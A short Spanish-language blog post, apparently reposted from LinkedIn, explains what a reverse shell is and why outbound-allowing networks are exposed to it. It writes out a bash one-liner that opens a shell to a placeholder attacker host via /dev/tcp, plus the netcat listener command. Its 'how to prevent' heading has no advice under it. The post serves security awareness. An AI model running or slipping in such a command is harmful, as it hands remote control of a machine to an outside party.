¿Qué es una reverse shell y por qué debería importarte?

Por Nora B. Tobar — Publicado originalmente en LinkedIn

Una reverse shell es una técnica utilizada por atacantes para tomar el control de una máquina remota sin levantar sospechas. En lugar de que el atacante se conecte a la víctima, es la víctima quien inicia una conexión hacia el atacante.

¿Por qué esto es importante? Porque muchas redes permiten tráfico de salida (de adentro hacia afuera), pero bloquean tráfico entrante. Una reverse shell aprovecha eso: se conecta al atacante, y le da una terminal remota.

Ejemplo clásico:

La víctima ejecuta algo como:

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Y el atacante escucha con:

nc -lvnp 4444

Así, el atacante obtiene una shell en la máquina comprometida. Puede escalar privilegios, moverse lateralmente, exfiltrar datos... lo que quiera.

¿Cómo prevenir?

Una reverse shell no es algo avanzado. Es algo básico. Y por eso, sigue funcionando.


← Volver al blog